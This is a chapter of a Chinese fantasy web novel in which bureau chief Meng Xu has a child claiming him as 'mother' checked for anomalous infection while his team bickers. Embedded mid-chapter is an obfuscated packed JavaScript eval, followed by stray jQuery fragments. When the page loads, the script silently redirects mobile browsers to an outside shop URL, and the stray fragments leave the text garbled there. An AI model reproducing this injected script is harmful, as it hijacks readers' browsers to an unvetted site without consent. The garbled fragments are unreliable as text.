电话虽然挂了,卜莫宇还是顶着压力,发了条微信:【不过孟处,孩子体检正在做,但照医生的话来说,都不需要体检,孩子身体好得不得了,壮得跟牛一样。】
手机振动,孟序没管,缓缓地把手放了下来。
没想到硬是把孟序留下来,自己真的可以听见这么个大八卦,秘书用力咳嗽了好几声,对着孟序挤眉弄眼,出主意道:“哎,孟处,啊哈哈,依我看,你要不先把孩子留在你那?”
至少还是有血缘关系的,那不得管着?
孟序握着手机,无言半晌:“……我需要找另一个鉴定机构鉴定。”
虽然他这么说,但办公室的两个人都心知肚明:异常现象管理局的鉴定机构已经是国内数一数二的了,再找一个,结果大抵也大差不差。
秘书宽慰:“没事,孟处,你好好回去先消化消化,再考虑要不要再去做一个;毕竟血缘鉴定还是需要钱的。”
听完八卦后秘书已经心满意足,他站起身,送孟序离开:“等庞局回来了,我第一时间给您打电话。”
孟序朝他颔首,转身朝大楼的电梯走去。
男人在电梯门前站定,他摁下电梯向下键,却有些微微的分神。
就像桑洛那个大嘴巴说的一样,他从来没有和女人有过纠缠,男人也一样。
这孩子到底从哪冒出来的?
他忽地想起孩子口中的“爸爸是邪神”。
“叮”地一声,电梯门开了,轿厢里的镜面轿壁映出男人冷凝的俊脸。
他掀起眼皮,和轿壁中的自己对视,缓步走入了电梯,按下楼层键。
那孩子……有可能是诡异吗?
不能排除这个可能。
思索间,卜莫宇还在兢兢业业、颤颤巍巍发微信。
他不是很想发,但是又担心上司需要,只好硬着头皮,时不时发点绒绒的体检报告,或者是绒绒的照片过去。
不摸鱼:【孟处,这是绒绒的体检报告一项。】
不摸鱼:【[图片.jpg]】
不摸鱼:【孟处,这是体检报告另一项的结果。】
不摸鱼:【[图片.jpg]】
不摸鱼:【孟处,这孩子想体检完去吃冰淇淋,他可以吃吗?】
孟序拿出手机,手指漫不经心划过卜莫宇发过来的一大堆消息,点开图片仔细看了眼——没有任何异常,绒绒的体检报告和一个健康孩子会有的体检报告没有什么不同。
手指动了动,男人打字道:【吃吧。】
微微一顿,他继续发消息,【增加一个体检,检查一下他有没有被诡异感染。】
卜莫宇不知道为什么上司突然要检查这个,但增加一个项目也不影响什么,他赶紧发了个“OK”的表情包:【没问题,我这就去和管理局附院的医生联系。】
吩咐完一切,孟序收起手机,捏了捏眉心。
车上短暂的休息必定是不够的,但他还没有到能停下的时候。
还有报告没有整理,至少,他得把这些做完再说。
*
绒绒是三个小时之后回来的,卜莫宇带他吃了晚饭,这才返回了管理局。
将近七点,管理局的大楼还是灯火通明。
绒绒手里拿着冰淇淋,还是背着自己的小背包,他骨碌碌转动的眼睛这边看看,那边瞧瞧,精准在七拐八拐的走廊里面找到孟序的办公室,下意识抬脚就要往自己妈妈的办公室走去。
“哎哎!”
他的书包带子再一次被卜莫宇拎住,卜莫宇扶了扶眼镜,手指摇了一摇:“孟处还在工作,我们在这边等他一下好不好?”
绒绒皱了下脸:“妈妈现在还要工作吗?好辛苦呀。”
可不是嘛,连轴转这么久,如此高的工作强度,简直令人咋舌。
卜莫宇还没回答,桑洛正巧哭丧着脸拿着自己改了好几遍的报告路过一大一小。
绒绒扬起脑袋,看见这位垂头丧气的大哥哥推开门,直接就进了孟序的办公室。
小男孩转头看向卜莫宇,表情的意思很明显:为什么刚才的大哥哥可以进去,但我不行?
卜莫宇冷静地说:“他是进去挨骂的。”
绒绒:“……”
绒绒乖巧道:“那我还是等一会儿妈妈吧。”
他还是不想被妈妈骂的!
卜莫宇把绒绒带到了他们一队的办公室,安珂还没有走,正在她的工位上一边逗自己的猫,一边摸鱼。
看见卜莫宇进来,安珂一直视对方为孟序的副手,生怕卜莫宇把她摸鱼的事情告发给孟序,默默缩回了逗猫的手,假装自己在工作,余光则还在好奇地瞄着一大一小的一举一动。
卜莫宇指了指办公室里的沙发:“绒绒,你先在这儿待一会儿吧。”
绒绒老老实实坐进沙发,但耐不住性子地一阵左顾右盼。
他的目光落在安珂身上,社恐的大姐姐下意识缩了缩脖子,但想起来这百分之九十概率是孟序的孩子,于是又赶紧挤出一个自以为友善的微笑来。
“安珂,管管你的猫,你家猫又在扑我的蝴蝶!”
一道有几分阴冷的声音响起,绒绒的脑袋又循着声音转过去,是一个留着齐肩短发的男人。
他身上戴着好几道银饰,穿的衣服也和其他人有所不一样。
这位是一队最后一位队员,廖寻安,苗族人,擅长玩蛊,异能是精神控制。
他养虫子,安珂养小动物,两个人经常互看不对眼。
刚刚被告状在扑蝴蝶的白猫尾巴扫了扫办公桌,假装无事发生地舔了舔爪子。
安珂假装没听见廖寻安的话,用卫衣帽子把自己罩起来,裹了个严实:“……”
蝴蝶委屈地飞走,停在廖寻安的肩上,像是在诉说自己是怎么被白猫欺负的。
绒绒歪着脑袋看这一出闹剧,廖寻安刚还想和安珂吵几句嘴,注意力却不由自主被这浅色头发的小孩吸引。
男人挑起眉梢,上上下下把绒绒打量了个遍:“模样倒是标致,感觉是那个工作狂能生出来的。”
卜莫宇看看绒绒,同意廖寻安的话:“这孩子的妈妈得也是个美人胚子吧,不然哪儿生的出来这么好看的小孩。”
绒绒自然听得见他俩的交流,他张口欲言,却见廖寻安轻飘飘瞥了眼卜莫宇:“卜莫宇,男人怎么不能生孩子?”
绒绒闭嘴了,深以为然点点头:就是就是,他就是从妈妈肚子里生出来的小孩!
卜莫宇一个趔趄:“……廖寻安,现代医学技术好像还没发达到这种程度吧。”
手指蜿蜒着白蛇,廖寻安哼笑一声:“诡异都出来了,男人生孩子有什么稀奇的。”
卜莫宇:“。”
好有道理,他竟然无法反驳。
没了蝴蝶,白猫索然无味地拍了两下桌子上的吊兰,玻璃似的眼珠也转向了绒绒的方向。
它有点不敢靠近绒绒,不知道是什么原因。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897975|212878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
能感觉到白猫的踌躇情绪,安珂不由也看向了绒绒。
但只看见了一个萌到她了的漂亮小孩。
大概是生人在熟悉的领地,所以白猫才有些怕。
这边还在争论男人到底能不能生孩子的问题,那边桑洛被孟序骂完之后,蔫哒哒地回到办公室。
他先是看了眼绒绒,再瞄了眼卜莫宇,有气无力地说:“老卜啊,孟处喊你过去。”
卜莫宇身形一僵:难道他要遭难了?
队友们也纷纷拿怜悯的目光看他。
带着队友们的同情,卜莫宇同手同脚走出了办公室。
走到孟序虚掩的办公室门前,他颤颤巍巍敲了敲门。
“进。”
上司低沉的声音在里面响起,卜莫宇连忙挂起微笑进到办公室之中:“孟处,你找我?”
“嗯,”办公桌前的男人头也不抬地翻动着报告,道,“孟绒的报告结果是什么?”
体检报告已经全出了,这里孟序自然是在问绒绒究竟有没有被诡异感染……或者,根本就是诡异。
绒绒的外表太难判断了,他几乎和普通小孩一模一样,饶是孟序,都区分不出来他是不是人类。
闻言,卜莫宇松了口气,至少不是骂他:“当时拿到纸质文件了,我现在去拿给您吗?”
男人冷淡地说:“不用,直接说结果。”
卜莫宇小心翼翼道:“绒绒是人类,血液里没有检测出污染源。”
“……”
孟序抿了抿唇,竟然不是诡异。
那之前那个猜测可以暂时搁置了。
孟序说了声“知道了”:“你先出去吧,我这边还有点工作;你让桑洛他们早些下班去休息,都辛苦了。”
卜莫宇一顿,犹豫着道:“那孟处,绒绒该怎么办?”
孟序停了手中的动作。
他差点忘了,自己现在是一个孩子的妈了:)
看了眼其实可以留到明天做的工作,孟序闭了闭眼:“……我带他去我家住。”
卜莫宇看看那桌上的工作,又继续试探:“那您不如现在就带他回去吧?明天我帮您一起搞定这些。”
卜莫宇絮絮叨叨,“毕竟孩子要早点睡,晚睡对小朋友身体不好……”
也不知道一个短暂的下午,绒绒到底给卜莫宇喝了什么迷魂汤,说到孩子身体问题,卜莫宇脸上的神色仿佛已经和千千万万的父母共情,全是疼惜和爱护。
孟序:“。”
他抬起头,面无表情看比自己唠叨、比自己更像家长的下属:“知道了,我现在就去带他回家。”
*
“这个前面车厢【诡蜂】被不明身份的人清理掉了的部分到底要怎么写才符合格式啊……”
一队办公室还没关灯,苦逼修改报告的桑洛是最后一个没走的倒霉蛋。
正小声抱怨,办公室门即被叩响,他抬眼看过去,是孟序。
一下似乎屁股后面都冒出了狗尾巴,摇成螺旋桨,桑洛感动得眼泪汪汪:“序哥,你难道是来接我下班——”
“的”还没说出口,他序哥就冷静地说:“我来接孟绒。”
桑洛摇着的尾巴垂下去了:“……哦哦,绒绒在那边睡觉呢。”
他指了指沙发。
睡觉?
孟序顺着桑洛手指的方向看去,小孩缩成一团,挤在沙发上,闭着眼睛,正在均匀地呼吸。
俨然真睡着了。